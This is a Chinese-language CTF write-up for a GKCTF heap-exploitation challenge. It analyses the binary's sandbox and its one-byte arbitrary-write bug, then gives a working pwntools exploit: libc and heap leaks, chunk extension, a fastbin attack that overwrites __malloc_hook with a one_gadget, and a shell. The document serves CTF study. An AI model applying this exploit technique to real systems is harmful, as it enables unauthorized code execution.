例行检查
全绿,64位保护全开。
动态分析
增删查改四个功能
增
删
查
改
改这个功能没太勘定似乎是需要我们输入一个地址去修改,这好像就造成了任意地址写,不太确定,稍后通过静态分析去了解一下。
静态分析
main
正常的菜单题目,存在沙盒
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rdi
int v5; // [rsp+0h] [rbp-20h] BYREF
int v6; // [rsp+4h] [rbp-1Ch] BYREF
int v7; // [rsp+8h] [rbp-18h] BYREF
int v8; // [rsp+Ch] [rbp-14h] BYREF
__int64 v9; // [rsp+10h] [rbp-10h]
unsigned __int64 v10; // [rsp+18h] [rbp-8h]
v10 = __readfsqword(0x28u);
v5 = 1;
v6 = 1;
v7 = 1;
set3(); // setbuf in out err
sub_C9D(a1, a2); // 输出叶子
v3 = "Welcome to GKCTF";
puts("Welcome to GKCTF");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
caidan(v3, a2); // 菜单
printf("> ");
a2 = (char **)&v8;
v3 = "%d";
_isoc99_scanf("%d", &v8); // 输入选项
if ( v8 != 1 )
break;
add("%d", &v8); // 添加堆块
}
if ( v8 != 2 )
break;
delete("%d", &v8);
}
if ( v8 != 3 )
break;
show("%d", &v8); // 没啥说的就是输出内容
}
if ( v8 != 4 )
break;
a2 = (char **)&v6;
v3 = (const char *)&v5;
sub_115E(&v5, &v6, &v7); // 任意地址写1字节
}
v9 = seccomp_init(2147418112LL); // 开启了沙盒
seccomp_rule_add(v9, 0LL, 59LL, 0LL);
seccomp_rule_add(v9, 0LL, 4294957238LL, 0LL);
seccomp_rule_add(v9, 0LL, 10LL, 0LL);
seccomp_load(v9);
puts("oh,Bye");
return 0LL;
}
add
分析起来有一点点乱
首先我们看到第一个判断null函数的返回值,要为1,进入null中查看,看到null函数中要对__malloc_hook和__free_hook是否为0进行一个判断。使用过v1,v2两个变量对__malloc_hook和__free_hook进行一个判断,v2直接就是代表的__free_hook没有什么中间的转化处理,而v1代表的是v0!=0的返回值,v0又是__malloc,这样的话就是当v0存在时v1为1,当v0不存在的时候为0。这样就可以往后看。那么就是当v1不存在并且v2为零的时候函数返回1、当v1或者v2有一个存在的时候则返回零。这样的话就是只要是有一个存在就会返回0。
然后就是对全局变量chunk_num的判断,继续往下找可以看到当malloc之后会有++chunk_num的操作,这说明我们申请一个堆块这个全局变量就会随着+1,那么判断就是判断的堆的数量。之后还有一个环境变量chuk_ptr,利用变量加偏移的方法判断相应堆快的为位置有没有存放指针。(剩下的看图片上的注释
申请的时候也没有对堆块进行清零。
delete
没有uaf
show
edit()
可以任意地址写一字节哦
沙盒
利用思路
环境时libc2.23.so,利用起来也并不是这么难,首先可以通过fastbin和unsortbin来进行leak libc和heap。
申请四个chunk,在申请第二个chunk的时候将第三个chunk的prev_size位设置为第一第二个chunk的大小;然后free掉第一个;再将第三个chunk的size的p位清零,free掉第三个chunk,就可以实现chunk extend。接着重新申请就可以i得到两个同时指向chunk2的指针,然后就是fastbin attack那些操作了。
最后getshell是利用scanf输入较大数据的时候会malloc堆块
利用过程
leak_libc
由于申请回来堆块的时候没有将堆块内容置零,所以我们可以释放一个unsortbin大小的堆块,然后申请回来就可以show出来libc的地址。
add(0xf0,'aaaa')#0
add(0xf0,'aaaa')#1
free(0)
add(0xf0,'\n')#0
show(0)
p.recvline()
libc.address = u64(p.recv(6)+'\x00\x00') -0x3C4B0A
print hex(libc.address)
泄露成功。
leak_heap
与leak_libc的时候差不多只不过这是我们需要的是fastbin,利用fastbin链进行泄露heap地址
add(0x60,'aaaa')#0
add(0x60,'aaaa')#1
add(0xf0,'aaaa')#2
free(1)
free(0)
add(0x60,'\n')
show(0)
p.recvline()
heap = u64(p.recv(6)+'\x00\x00') -0xa
print hex(heap)
构造chunk_extend
申请四个chunk,在申请第二个chunk的时候将第三个chunk的prev_size位设置为第一第二个chunk的大小;然后free掉第一个;再将第三个chunk的size的p位清零,free掉第三个chunk,就可以实现chunk extend。接着重新申请就可以i得到两个同时指向chunk2的指针,这样的话我们就可以将堆块申请到__realloc_hook修改就好了
add(0xf8,'aaaa')#0
add(0xf2,'a'*0xf0+'\x00\x02')#1
add(0xf0,'aaaa')#2
gdb.attach(p)
free(0)
edit(heap+0x218,'\x00')
free(2)
add(0xf0,'aaaa')#0
add(0x68,'aaaa')#2
add(0x68,'aaaa')#3
add(0xf0,'aaaa')#4
free(1)
free(3)
free(2)
add(0x60,p64(libc.sym['__malloc_hook']-0x23))#1
add(0x60,'aaaa')#2
add(0x60,'aaaa')#3
add(0x60,'\x00'*0x3+p64(0)+p64(libc.address+one[3])+p64(libc.sym['realloc']+6))#3
exp:
from pwn import *
p = process("./domo")
#p = remote("node3.buuoj.cn","26472")
libc = ELF("./libc.so.6")
def add(size,data):
p.recvuntil("5: Exit")
p.sendline("1")
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("content:")
p.send(data)
def free(index):
p.recvuntil("5: Exit")
p.sendline("2")
p.recvuntil("index:")
p.sendline(str(index))
def show(index):
p.recvuntil("5: Exit")
p.sendline("3")
p.recvuntil("index:")
p.sendline(str(index))
def edit(addr,byte):
p.recvuntil("5: Exit")
p.sendline("4")
p.recvuntil("addr:")
p.sendline(str(addr))
p.recvuntil("num:")
p.sendline(byte)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
add(0xf0,'aaaa')#0
add(0xf0,'aaaa')#1
free(0)
add(0xf0,'\n')#0
show(0)
p.recvline()
libc.address = u64(p.recv(6)+'\x00\x00') -0x3C4B0A
print hex(libc.address)
free(0)
free(1)
add(0x60,'aaaa')#0
add(0x60,'aaaa')#1
add(0xf0,'aaaa')#2
free(1)
free(0)
add(0x60,'\n')
show(0)
p.recvline()
heap = u64(p.recv(6)+'\x00\x00') - 0xa
print hex(heap)
free(0)
free(2)
add(0xf8,'aaaa')#0
add(0xf2,'a'*0xf0+'\x00\x02')#1
add(0xf0,'aaaa')#2
#gdb.attach(p)
free(0)
edit(heap+0x218,'\x00')
free(2)
add(0xf0,'aaaa')#0
add(0x68,'aaaa')#2
add(0x68,'aaaa')#3
add(0xf0,'aaaa')#4
free(1)
free(3)
free(2)
add(0x60,p64(libc.sym['__malloc_hook']-0x23))#1
add(0x60,'aaaa')#2
add(0x60,'aaaa')#3
add(0x60,'\x00'*0x3+p64(0)+p64(libc.address+one[3])+p64(libc.sym['realloc']+6))#3
print hex(libc.sym['__realloc_hook'])
#gdb.attach(p,'b malloc')
p.recvuntil("5: Exit")
p.sendline("1 "+'1'*0x400)
add(0x10,'aa')
p.interactive()